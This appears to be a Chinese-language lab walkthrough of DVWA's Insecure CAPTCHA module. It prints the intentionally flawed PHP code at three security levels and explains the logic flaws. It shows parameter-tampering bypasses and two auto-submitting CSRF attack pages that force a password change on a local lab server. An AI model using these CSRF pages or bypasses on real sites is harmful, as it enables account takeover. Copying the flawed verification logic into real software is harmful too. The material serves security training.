DVWA简介
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。
需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。
Insecure CAPTCHA
Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅。
reCAPTCHA验证流程
这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。
服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。
recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
在正式开始之前,我们进入这个模块,可能会遇到不能正常显示的情况。
百度报错信息,需要在配置文件中加入谷歌的密钥:
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
密钥可以去谷歌去生成,但是需要翻墙,这里就直接用的网上的。
LOW级别:
代码:
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action="#" method="POST"> <input type="hidden" name="step" value="2" /> <input type="hidden" name="password_new" value="{$pass_new}" /> <input type="hidden" name="password_conf" value="{$pass_conf}" /> <input type="submit" name="Change" value="Change" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } mysql_close(); } ?>
可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
漏洞利用1:
通过构造参数绕过验证过程:
首先输入新的密码,然后change之后再抓包:
(ps:因为没有翻墙,所以没能成功显示验证码,发送的请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数)
更改step参数绕过验证码:
修改密码成功:
漏洞利用2:由于没有任何的防CSRF机制,我们可以轻易地构造攻击页面,页面代码如下
<html> <body onload="document.getElementById('transfer').submit()"> <div> <form method="POST" id="transfer" action="http://192.168.5.100/dvwa/vulnerabilities/captcha/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="step" value="2" <input type="hidden" name="Change" value="Change"> </form> </div> </body> </html>
当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。但是受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击。
Medium
代码:
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action="#" method="POST"> <input type="hidden" name="step" value="2" /> <input type="hidden" name="password_new" value="{$pass_new}" /> <input type="hidden" name="password_conf" value="{$pass_conf}" /> <input type="hidden" name="passed_captcha" value="true" /> <input type="submit" name="Change" value="Change" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "<pre><br />You have not passed the CAPTCHA.</pre>"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } mysql_close(); } ?>
可以看到,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。
修改密码抓包:
改包:增加passed_captcha参数,绕过验证码。
更改密码成功:
漏洞利用2:同样也可以使用CSRF攻击界面在方式:
<html> <body onload="document.getElementById('transfer').submit()"> <div> <form method="POST" id="transfer" action="http://192.168.5.100/dvwa/vulnerabilities/captcha/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="passed_captcha" value="true"> <input type="hidden" name="step" value="2"> <input type="hidden" name="Change" value="Change"> </form> </div> </body> </html>
High:
代码:
<?php if( isset( $_POST[ 'Change' ] ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for user echo "<pre>Password Changed.</pre>"; } else { // Ops. Password mismatch $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到,服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数g-recaptcha-response不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。
漏洞利用:$resp参数我们无法控制,所以重心放在参数g-recaptcha-response、User-Agent上。
抓包拿到数据:
更改参数g-recaptcha-response以及http包头的User-Agent:
修改成功: